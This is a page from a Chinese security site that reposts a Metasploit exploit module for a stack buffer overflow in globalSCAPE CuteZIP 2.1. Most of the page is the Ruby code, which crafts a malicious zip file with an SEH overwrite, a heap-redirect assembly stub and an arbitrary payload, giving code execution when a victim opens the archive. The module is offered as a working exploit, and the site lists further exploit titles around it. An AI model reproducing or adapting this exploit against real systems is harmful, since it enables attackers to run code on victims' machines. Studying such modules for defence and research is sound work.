首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
globalSCAPE CuteZIP Stack Buffer Overflow
来源:http://www.metasploit.com 作者:juan 发布时间:2012-08-16  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'globalSCAPE CuteZIP Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow vulnerability in version 2.1
				of CuteZIP.

				In order for the command to be executed, an attacker must convince the target user
				to open a specially crafted zip file with CuteZIP. By doing so, an attacker can
				execute arbitrary code as the target user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					[ 'BID', '46375' ],
					[ 'EDB', '16162' ],
				],
			'Platform'          => [ 'win' ],
			'Payload'           =>
				{
					'BadChars'    => "",
					'DisableNops' => true,
					'Space' => 3000 # Limit due to the heap chunk size where the payload is stored
				},
			'Targets'        =>
				[
					[
						# Tested successfully on:
						# * Windows XP SP3
						# * Windows Vista SP2
						# * Windows 7 SP1
						# (NO DEP)
						'CuteZIP 2.1 / Windows Universal',
						{
							'Ret'         => 0x0040112F, # pop, pop, ret from CuteZIP.exe
							'Offset'      => 1148,
							'Nops'        => 398
						}
					],
				],
			'DisclosureDate' => 'Feb 12 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
			], self.class)

	end

	def exploit

		redirect_heap = <<-ASM
			popad
			popad
			popad
			push ecx
			pop eax
			call eax
		ASM

		crafted_file = rand_text(target['Offset'])
		crafted_file << generate_seh_record(target.ret)
		crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string
		crafted_file << make_nops(1) * target['Nops']
		crafted_file << payload.encoded

		# Create the file
		zip = Rex::Zip::Archive.new
		xtra = rand_text(4)
		zip.add_file(crafted_file, xtra)

		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(zip.pack)
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows Service Trusted Path P
·E-Mail Security Virtual Applia
·DivX Plus Player plugin 2.2.0.
·AOL Products downloadUpdater2
·Novell ZENworks Asset Manageme
·Mozilla Firefox 14.01 Memory E
·Cyclope Employee Surveillance
·TestLink 1.9.3 Arbitrary File
·Apple Quicktime plugin - Windo
·OS X Local Root Exploit for Vi
·Adobe Flash Player 11.3 Font P
·Winamp Browser Memory Corrupti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved